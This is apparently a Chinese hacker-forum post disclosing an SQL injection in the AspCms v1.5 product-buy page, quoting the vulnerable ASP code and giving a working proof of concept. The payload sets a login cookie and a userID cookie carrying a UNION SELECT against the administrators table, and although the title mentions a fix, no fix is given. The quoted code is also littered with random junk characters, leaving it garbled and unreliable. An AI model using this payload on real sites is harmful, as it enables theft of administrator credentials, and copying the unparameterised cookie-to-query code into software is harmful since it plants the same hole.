AspCms_v1.5_20110517 SQL注射漏洞及修复

admin

好久没上土司了，上来一看发现在删号名单内.....
也没啥好发的，前些天路过某个小站，用的AspCms这个系统，搜索了下，productbuy.asp这个文件存在注射，但是目标已经修补....下载了代码，很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞，但是就在同一个文件下面找到了注射漏洞。。。。。。。
废话不多说，看代码：

1 v! c+ Q- ^# k) q$ H<%

if action = "buy" then

; V. M" [; X5 s        addOrder()

" @' y  E& s. G. Y" |else

        echoContent()
% m$ g5 Q+ F' c) \1 r
end if


2 E/ x! f8 c3 i6 u
0 N, C; p- g) g) h9 ~7 _( y* r……略过
8 j' l* W$ B1 G5 ^+ B! `


: M2 l5 a. |4 ~- q5 o* a% ?Sub echoContent()

) t: M" Z$ e( b        dim id
% z# y2 y6 F* ^7 ^6 p3 a
. C: o, R, O8 Q. N$ E% z5 l! t- P        id=getForm("id","get")

        
) \, G* k$ F2 f$ v' @
        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品！","-1"
% n6 m: ?2 n! u& k6 o0 {2 O
        

        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")

7 _* z) d2 a+ B: T        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
7 a# n4 ]# n. H2 y/ R/ X1 f
. n: f6 v$ W" F! L        Dim templatePath,tempStr

        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
7 d* n9 J) [5 b+ [. s4 L
& Z& L; t1 U7 _  C5 C

        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")
/ }( K! H8 v/ A! V; r" q, z6 R
# ~& c8 Z- T6 ~% S" I! m) J, n# |        selectproduct=rsObj(0)
% K$ g. ]5 ?4 m) ^) R4 O
        
1 }$ M* A, y& d# @1 e9 A1 }
& `1 b- j! _/ _0 L        Dim linkman,gender,phone,mobile,email,qq,address,postcode

$ g( o' ^5 I' q1 ^" l* m( f        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0
6 ]# u6 [$ `9 O
        if rCookie("loginstatus")=1 then  
% E* g: N) U3 e6 Z9 D" B
/ o* |1 o8 D' G, p- E* Z' H5 N                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")

                linkman=rsObj("truename")
, w/ o) N) K6 t, S1 M( m
                gender=rsObj("gender")

                phone=rsObj("phone")

                mobile=rsObj("mobile")
' z6 r/ b  C" N/ X5 h
                email=rsObj("email")

' E# C! j- L3 S0 r                qq=rsObj("qq")
% L6 T, N% o' U8 y8 b+ w  s
                address=rsObj("address")
3 o2 @6 E, S( S# R7 f5 D* P0 ~2 Z
                postcode=rsObj("postcode")
$ O/ r8 \+ M) u. e- ]
        else
1 Y, G  u8 l% y" n* ^
3 h& {& U3 Z# g, C0 w2 X9 I                gender=1
0 ^. j2 ~3 V$ q" S. F( ^! A
        end if
1 Q! B( I) y; Z) I& s) ]) E
' M/ L) v3 @4 `; L7 y        rsObj.close()

- `! P8 O! s) L8 j               
. B1 I. x* V. v
; k9 A: }6 m. l1 |4 o, o        with templateObj
; V7 @7 m# |& [. v1 V9 X
/ {, N5 J- w: a5 N" @2 w, v4 [! ~                .content=loadFile(templatePath)        

5 V* i; m9 [9 O% }, _                .parseHtml()
+ ~% S5 Q. w0 |3 w, z: O
$ y7 q$ M* \+ }. |( @% j                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
. ^  I$ n/ y# u
; b) j1 {9 f1 @4 |" N. q, A- I                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               
- j, |- G6 \* s
2 }( a  u; Y5 Q7 [" {( T                .content=replaceStr(.content,"[aspcms:gender]",gender)               
" N8 E1 o. h! E7 x/ e$ j: I
                .content=replaceStr(.content,"[aspcms:phone]",phone)               

' q/ b; |3 _- @9 w; V                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               
$ w! k8 T8 S9 R; ]9 V
) `/ b, x  ?3 h2 O# u; D                .content=replaceStr(.content,"[aspcms:email]",email)                        

( {  Y. }; d+ K                .content=replaceStr(.content,"[aspcms:qq]",qq)                        
2 T' [" \! s+ {+ |
& d5 G! H" ?, M  I                .content=replaceStr(.content,"[aspcms:address]",address)                        

                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        
1 T) e, W& y0 w1 D
                .parseCommon()                 

                echo .content

, W: c2 U6 k0 T1 {7 r        end with

        set templateobj =nothing : terminateAllObjects
' G+ b' n# \) c) {+ R
8 q1 i5 K& g2 p5 K7 \End Sub
; H  g- b& s% F, J$ ?/ q漏洞很明显，没啥好说的
! z: l8 x, D* y% Xpoc：

javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外，脚本板块没权限发帖子​
: u; |, D2 \' z# v6 B8 [+ a. K: J% _
# H# ^2 a* X6 k/ S) V. ?7 F  g* s! d# q